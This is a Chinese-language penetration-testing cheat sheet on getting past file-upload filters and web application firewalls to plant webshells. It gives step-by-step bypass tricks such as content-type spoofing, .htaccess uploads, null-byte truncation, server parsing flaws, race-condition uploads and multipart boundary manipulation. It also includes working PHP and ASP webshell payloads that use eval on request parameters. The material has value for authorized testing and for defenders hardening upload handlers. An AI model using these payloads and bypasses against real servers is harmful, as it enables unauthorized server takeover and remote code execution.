最后必然失去的希望就是毒药啊。
个人对上传漏洞的理解在第一章节就说过了,这里稍微复述一下。上传漏洞按个人理解分两种,第一种是代码层的。即代码过滤不严格,或者使用客户端本地校验。第二种是服务层的,比如iis6.0的解析漏洞,apache的解析漏洞。第三种就是前面结合在一起的,比如代码层过滤了部分内容都是能绕过,然后通过服务器层的解析漏洞上传成功。
上传之前要探测环境,获取web容器是IIS还是Apache还是nginx,然后获取脚本语言是PHP还是aspx。最好能获取到他们使用的版本。
上传突破
然后根据一些经验开始做测试,按照下面步骤一步一步来测试。
- 如果是客户端验证,禁用JavaScript即可
- 如果是content-type验证,抓包修改content-type的数据为image/jpeg
- 如果是Apache,尝试上传htaccess文件。一般能上传htaccess就没问题了,排除一些可能会过滤的后缀,比如他过滤了php后缀,你就在htaccess中修改成ppphhhppp,然后上传这个后缀的文件
- 如果是Apache,上传m.php2,m.php3,m.php5,m.pht或者m.php.rar.zip.zza.eaa等等测试
- 如果是Nginx,图片中嵌入PHP代码然后通过访问m.jpg%00.php或者m.jpg/.php链接菜刀
- 如果是Nginx,可以上传内容为<?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>的test.jpg,然后访问test.jpg/.php,自动生成shell.php
- 如果是黑名单机制的话,可以尝试大小写绕过,如果不行的话试一试别的后缀,比如jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee等等
- 如果服务器是win的话,上传m.php(.)(空格)(.)(空格)(.)(空格)多测试几次,或者m.php…..测试
- 如果服务器是win的话,上传m.php::$DATA测试
- 如果服务器是win的话,上传m.php.[空格].[空格].[空格].[空格]测试
- 如果代码层会匹配后缀名然后删除的话,上传m.pphphp测试
- 如果上传的路径可控的话,一般可以结合00截断上传。比如文件名改成m.jpg,上传路径改成../upload/m.php%00,如果请求是POST方法的话,要用二进制修改,在hex中把20改成00。上传路径只要出现都可以测试一下截断。
- 上传gif格式图片马,在图片马内容前面加上几行gif89a,上传jpg格式图片马,在内容加上JPGGraphic File,如果上传的地方只能上传zip压缩文件,修改文件头加上Zip Compressed,
- 上传图片马,修改content-type,然后上传测试
- 尝试双文件上传filename=”a.txt”;filename=”a.php”
关于服务器层的解析漏洞在lab 1 中有一个很好的整理地址
思路总结
- 对服务器信息整理收集,检测web容器是apache/nginx/iis,主机是window还是linux,apache可以尝试上传htaccess去解析文件,或者修改文件名为xx.php.asdas.asd.rarz上传,apache老本可以在上传文件名最后加上一个换行符,换行符只能是\x0A比如上传1.php,然后在burp中修改hex,在1.php后面添加一个\x0A,还可以测试xx.pthml,xx.pt,xx.php4,xx.php7。nginx<8.0.3可以上传图片马然后访问xx.jpg/xx.php,xx.jpg%00.php,xx.jpg/.php然后连接菜刀,或者上传<?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>的test.jpg,然后访问test.jpg/.php,自动生成shell.php,前提是fasg-cgi开启,低版本的nginx也可以尝试00截断。iis7.0/7.5和nginx类似在cgi.fix_pathinfo=1的情况下也可以上传自动生成文件的图片木马,访问xx.jpg/.php,然后尝试删除给a.aspx.a;a.aspx.jpg..jpg绕过测试。iis6.0则可以上传xx.asp;.jpg。
- 如果是PHP,版本小于5.3.29并且gpc魔术引号手关闭的话,可以进行00截断,原理是这里的00指的是chr(0),chr(0)既不是null也不是0,是一个截断符,比如/upload/xx.php%00.jpg,实际发出去的请求是/upload/xx.php,在get中不用进行编码,在post请求中需要进行url编码或者hex编码,具体做法就是加上%00然后进行url编码,或者加上空格在hex编码中将20改成00。
- 一些语言可以解析如下格式的文件,ASP:asp,asa,cer,cdx。PHP:php1,php2,php3,php4,php5,phtml。ASPX:aspx,ashx,asmx,ascx。JSP:jsp,jspx,jspf。可以尝试修改后缀进行绕过。如果是windows主机,可以在文件后缀名加上.(点) (空格)::$DATA(双引号):(引号),_(下划线)单个检测然后组合检测绕过。
- 其他的绕过方法就是大小写,多重后缀比如Pphphp,修改content-type的值,或者在文件头加上git89a伪装图片,如果有一些检测更加严格的话,可以上传图片马配合解析漏洞使用,或者上传图片马尝试修改后缀上传。php中配合文件包含上传,前提是后端代码会检测php后缀文件是否存在木马,上传一个内容为木马的txt文件,然后上传php包含这个txt文件,
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!-/-#include file="上传的txt文件路径" -->
JSP
<jsp:inclde page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
- 还有一种就是竞争上传,上传木马内容为<?php fputs(fopen(‘shell.php’,’w’),’<?php @eval($_GET[‘x’]);?>’);?>,木马文件名为info.php,然后不断地访问这个info.php,只要服务器来不及删除info.php并且快速的访问到了info.php就会自动在目录下生成shell.php。使用python多进程可以实现。
- 其他的就是如上思路组合使用,所以说还是体力活。
WAF绕过
垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
filename
针对早期版本安全狗,可以多加一个filename
或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
利用waf本身缺陷
删除实体里面的Conten-Type字段
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除Content-Disposition字段里的空格
增加一个空格导致安全狗被绕过案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符:
boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小写
Boundary边界不一致
每次文件上传时的Boundary边界都是一致的:
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:
Win2k3 + IIS6.0 + ASP
文件名处回车
多个Content-Disposition
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。
文件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反删除
将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
CONTENT-LENGTH绕过
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
示例:
1. if ($_FILES["fileToUpload"]["size"] > 30) {
2. echo "Sorry, your file is too large.";
3. }
以上代码将限制大小超过30字节的文件上传。我们可以通过上传一个30字节以内大小的恶意payload文件来绕过它。